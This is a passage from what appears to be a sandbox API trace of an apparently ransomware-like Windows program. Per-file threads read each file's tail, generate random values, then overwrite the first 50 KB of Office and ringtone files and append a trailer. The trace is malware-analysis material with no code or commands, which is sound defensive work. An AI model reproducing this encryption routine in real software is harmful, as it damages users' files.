Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0065.417] wcscat (in: _Dest=0x5e02960, _Source="msolui100.rll" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msolui100.rll" [0065.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5e02960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c8 [0065.418] FindNextFileW (in: hFindFile=0x440920, lpFindFileData=0x12e07640 | out: lpFindFileData=0x12e07640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95177b00, ftCreationTime.dwHighDateTime=0x1c8e1ea, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95177b00, ftLastWriteTime.dwHighDateTime=0x1c8e1ea, nFileSizeHigh=0x0, nFileSizeLow=0x3c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="msolui100.rll", cAlternateFileName="MSOLUI~1.RLL")) returned 0 [0065.418] FindClose (in: hFindFile=0x440920 | out: hFindFile=0x440920) returned 1 [0065.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07640) returned 1 [0065.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d9d8) returned 1 [0065.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43d930) returned 1 Thread: id = 1007 os_tid = 0x139c [0056.020] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma")) returned 0x20 [0064.710] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma", dwFileAttributes=0x20) Thread: id = 1008 os_tid = 0x13a0 [0056.022] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 02.wma")) returned 0x20 [0065.758] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 02.wma", dwFileAttributes=0x20) Thread: id = 1009 os_tid = 0x13a4 [0056.022] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 03.wma")) returned 0x20 [0065.758] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 03.wma", dwFileAttributes=0x20) Thread: id = 1010 os_tid = 0x13a8 [0056.023] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 04.wma")) returned 0x20 [0065.758] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 04.wma", dwFileAttributes=0x20) Thread: id = 1011 os_tid = 0x13ac [0056.029] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 05.wma")) returned 0x20 [0065.759] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 05.wma", dwFileAttributes=0x20) Thread: id = 1012 os_tid = 0x13b0 [0056.035] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 06.wma")) returned 0x20 [0065.759] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 06.wma", dwFileAttributes=0x20) Thread: id = 1013 os_tid = 0x13b4 [0056.035] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 07.wma")) returned 0x20 [0065.759] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 07.wma", dwFileAttributes=0x20) Thread: id = 1014 os_tid = 0x13b8 [0056.036] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 08.wma")) returned 0x20 [0065.547] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 08.wma", dwFileAttributes=0x20) Thread: id = 1015 os_tid = 0x13bc [0056.037] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 09.wma")) returned 0x20 [0057.781] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 09.wma", dwFileAttributes=0x20) Thread: id = 1016 os_tid = 0x13c0 [0056.037] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma")) returned 0x20 [0061.896] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma", dwFileAttributes=0x20) returned 1 [0063.989] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 10.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 10.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1274 [0063.989] GetFileSizeEx (in: hFile=0x1274, lpFileSize=0x94cfb6c | out: lpFileSize=0x94cfb6c*=94457) returned 1 [0063.989] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x170f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.989] ReadFile (in: hFile=0x1274, lpBuffer=0x94cfaf0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x94cfaec, lpOverlapped=0x0 | out: lpBuffer=0x94cfaf0*, lpNumberOfBytesRead=0x94cfaec*=0x4, lpOverlapped=0x0) returned 1 [0063.995] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d58 [0063.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460808 [0063.995] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0063.995] NtQuerySystemTime (in: CurrentTime=0x94cfacc | out: CurrentTime=0x94cfacc*=132174898279836000) returned 0x0 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x73f6905d [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x12ad22cd [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x741bce60 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x4a4928e3 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x21668a94 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x245c061b [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x49418491 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x65c1d183 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x36ebcc39 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x32a5f01e [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0xbf1d708 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x1af7a005 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x56ca90ca [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0xf319555 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x668a2861 [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x5c17626b [0063.995] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x254ac8a1 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x235a29dc [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x5b111cb6 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x184cd53b [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x5625eaf9 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x3c6c3800 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x6020de6d [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x14b7933 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x36a886fc [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x30a9511 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x44106665 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x39813510 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x23200f9f [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x4357f68 [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x491b252f [0063.996] RtlRandomEx (in: Seed=0x94cfad8 | out: Seed=0x94cfad8) returned 0x53b543a6 [0064.007] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.007] ReadFile (in: hFile=0x1274, lpBuffer=0x9713110, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x94cfaac, lpOverlapped=0x0 | out: lpBuffer=0x9713110*, lpNumberOfBytesRead=0x94cfaac*=0xc800, lpOverlapped=0x0) returned 1 [0064.009] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4029f0 [0064.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x419298 [0064.009] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d58 [0064.009] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460d58) returned 1 [0064.010] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5e54068 [0064.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460d58 [0064.011] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4607b8 [0064.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4607b8) returned 1 [0064.011] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x419298) returned 1 [0064.012] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0064.012] WriteFile (in: hFile=0x1274, lpBuffer=0x5e54068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x94cfaac, lpOverlapped=0x0 | out: lpBuffer=0x5e54068*, lpNumberOfBytesWritten=0x94cfaac*=0xc800, lpOverlapped=0x0) returned 1 [0066.712] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e54068) returned 1 [0066.878] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9713110) returned 1 [0066.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2b) returned 0x40abb8 [0066.882] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.882] WriteFile (hFile=0x1274, lpBuffer=0x12d7c620, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x94cfb2c, lpOverlapped=0x0) Thread: id = 1017 os_tid = 0x13c4 [0056.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACCESS12.ACC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\access12.acc")) Thread: id = 1018 os_tid = 0x13c8 [0056.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl")) returned 0x20 [0062.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL", dwFileAttributes=0x20) returned 1 [0062.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1318 [0062.674] GetFileSizeEx (in: hFile=0x1318, lpFileSize=0x2d3fcd8 | out: lpFileSize=0x2d3fcd8*=69496) returned 1 [0062.674] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x10f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.674] ReadFile (in: hFile=0x1318, lpBuffer=0x2d3fc5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2d3fc58, lpOverlapped=0x0 | out: lpBuffer=0x2d3fc5c*, lpNumberOfBytesRead=0x2d3fc58*=0x4, lpOverlapped=0x0) returned 1 [0062.688] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1b8 [0062.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf1e0 [0062.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf140 [0062.688] NtQuerySystemTime (in: CurrentTime=0x2d3fc38 | out: CurrentTime=0x2d3fc38*=132174898266732000) returned 0x0 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x16f47687 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x7e6fc085 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x21d624a0 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x30ac4e9a [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x15d11c9d [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x291f73fd [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x50d41c5c [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x69617a5 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x3a602389 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x4c73e938 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x1ce93c65 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x51793519 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x54341ed [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x5d3033b0 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x24489a99 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x62cfaa42 [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x16df9ffd [0062.688] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x6bfa78a0 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x50eec8 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x911e86d [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x2acc81d6 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x6ac84758 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x6d782568 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x295b5ed [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x43160762 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x60da1eb1 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x123b609b [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x9725629 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x71016fa7 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x7a4f35b3 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x2aa10b12 [0062.689] RtlRandomEx (in: Seed=0x2d3fc44 | out: Seed=0x2d3fc44) returned 0x71c00479 [0063.282] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.282] ReadFile (in: hFile=0x1318, lpBuffer=0x97b7008, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2d3fc18, lpOverlapped=0x0 | out: lpBuffer=0x97b7008*, lpNumberOfBytesRead=0x2d3fc18*=0xc800, lpOverlapped=0x0) returned 1 [0063.286] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0063.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4187d0 [0063.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9048 [0063.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9048) returned 1 [0063.287] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x194d0048 [0063.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9048 [0063.290] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec90e8 [0063.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec90e8) returned 1 [0063.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0063.290] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0063.291] WriteFile (in: hFile=0x1318, lpBuffer=0x194d0048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2d3fc18, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesWritten=0x2d3fc18*=0xc800, lpOverlapped=0x0) returned 1 [0066.371] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0066.374] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97b7008) returned 1 [0066.374] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x441640 [0066.375] SetFilePointerEx (in: hFile=0x1318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.375] WriteFile (hFile=0x1318, lpBuffer=0x12f4b5e8, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0x2d3fc98, lpOverlapped=0x0) Thread: id = 1019 os_tid = 0x13cc [0056.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl")) Thread: id = 1020 os_tid = 0x13d0 [0056.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd")) returned 0x20 [0065.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD", dwFileAttributes=0x20) Thread: id = 1021 os_tid = 0x13d4 [0056.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm")) returned 0x20 [0065.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM", dwFileAttributes=0x20) Thread: id = 1022 os_tid = 0x13d8 [0056.048] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x96f9988 [0056.048] wcscpy (in: _Dest=0x96f9988, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0056.048] wcscat (in: _Dest=0x96f9988, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\" [0056.048] wcscat (in: _Dest=0x96f9988, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*" [0056.048] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x430d40 [0056.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440ba0 [0065.055] wcscmp (_String1=".", _String2=".") returned 0 [0065.056] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.056] wcscmp (_String1="..", _String2=".") returned 1 [0065.056] wcscmp (_String1="..", _String2="..") returned 0 [0065.056] FindNextFileW (in: hFindFile=0x440ba0, lpFindFileData=0x430d40 | out: lpFindFileData=0x430d40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIBFORM.XML", cAlternateFileName="")) returned 1 [0065.056] wcscmp (_String1="BIBFORM.XML", _String2=".") returned 1 [0065.056] wcscmp (_String1="BIBFORM.XML", _String2="..") returned 1 [0065.056] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x4ee1f8 [0065.056] wcscpy (in: _Dest=0x4ee1f8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" [0065.056] wcscat (in: _Dest=0x4ee1f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\" [0065.056] wcscat (in: _Dest=0x4ee1f8, _Source="BIBFORM.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" Thread: id = 1023 os_tid = 0x13dc [0056.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl")) Thread: id = 1024 os_tid = 0x13e0 [0056.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css")) Thread: id = 1025 os_tid = 0x13e4 [0056.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd")) Thread: id = 1026 os_tid = 0x13e8 [0056.049] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css")) Thread: id = 1027 os_tid = 0x13ec [0056.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn")) returned 0x20 [0065.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn", dwFileAttributes=0x20) Thread: id = 1028 os_tid = 0x13f0 [0056.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn")) returned 0x20 [0065.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn", dwFileAttributes=0x20) Thread: id = 1029 os_tid = 0x13f4 [0056.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml")) returned 0x20 [0065.053] SetFileAttributesW 